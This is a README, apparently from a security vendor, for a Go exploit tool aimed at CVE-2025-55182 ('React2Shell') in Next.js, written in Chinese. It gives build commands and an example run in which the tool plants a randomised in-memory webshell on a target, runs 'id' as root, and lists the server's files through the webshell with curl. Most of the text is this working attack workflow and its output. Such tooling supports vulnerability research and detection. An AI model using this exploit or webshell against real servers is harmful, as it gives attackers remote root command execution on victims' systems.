导出的 VulnCheck 初始访问情报 工具集的一小部分,针对 CVE-2025-55182 React2Shell 漏洞。团队对这些工具的一些观察可在博客文章中阅读。
所有组件均基于我们的漏洞利用框架 go-exploit 构建。每个目录包含有趣工具的一个副本。
如果你有可用的 Go 构建环境,且安装了 golangci-lint 和 GNU make,你可以使用 make:
$ make
gofmt -d -w cve-2025-55182.go
golangci-lint run --fix --timeout 3m cve-2025-55182.go
0 issues.
GOOS=linux GOARCH=amd64 go build -o build/cve-2025-55182_linux-amd64 cve-2025-55182.go
要构建漏洞利用的 Docker 镜像,只需:
make docker
这是一个针对 next.js 使用 React2Shell 的内存型 Webshell 实现。我们首次看到该演示是在这里。该 Webshell 在每次新攻击中随机化。
poptart@grimm $ ./build/cve-2025-55182_linux-amd64 -rhost 172.17.0.1 -rport 3000 -e
time=2025-12-08T15:28:06.892-07:00 level=STATUS msg="Starting target" index=0 host=172.17.0.1 port=3000 ssl=false "ssl auto"=false
time=2025-12-08T15:28:06.892-07:00 level=STATUS msg="Generating webshell payload"
time=2025-12-08T15:28:06.893-07:00 level=STATUS msg="Uploading webshell to target"
time=2025-12-08T15:28:16.902-07:00 level=ERROR msg="HTTP request error: Post \"http://172.17.0.1:3000/\": context deadline exceeded (Client.Timeout exceeded while awaiting headers)"
time=2025-12-08T15:28:16.902-07:00 level=SUCCESS msg="Webshell installed!" location=http://172.17.0.1:3000/UByGoR
time=2025-12-08T15:28:16.902-07:00 level=STATUS msg="Testing `id`" testurl="http://172.17.0.1:3000/UByGoR?z=id"
time=2025-12-08T15:28:16.917-07:00 level=SUCCESS msg="uid=0(root) gid=0(root) groups=0(root)\n"
time=2025-12-08T15:28:16.917-07:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
poptart@grimm $ curl http://172.17.0.1:3000/UByGoR?z=ls%20-l
total 72
-rw-r--r-- 1 root root 77 Dec 4 23:41 jsconfig.json
-rw-r--r-- 1 root root 92 Dec 4 23:41 next.config.mjs
drwxr-xr-x 172 root root 173 Dec 4 23:41 node_modules
-rw-r--r-- 1 root root 16384 Dec 4 23:41 notes.db
-rw-r--r-- 1 root root 123663 Dec 4 23:41 package-lock.json
-rw-r--r-- 1 root root 467 Dec 4 23:41 package.json
-rw-r--r-- 1 root root 6028 Dec 4 23:41 seed.sql
drwxr-xr-x 3 root root 3 Dec 4 23:41 src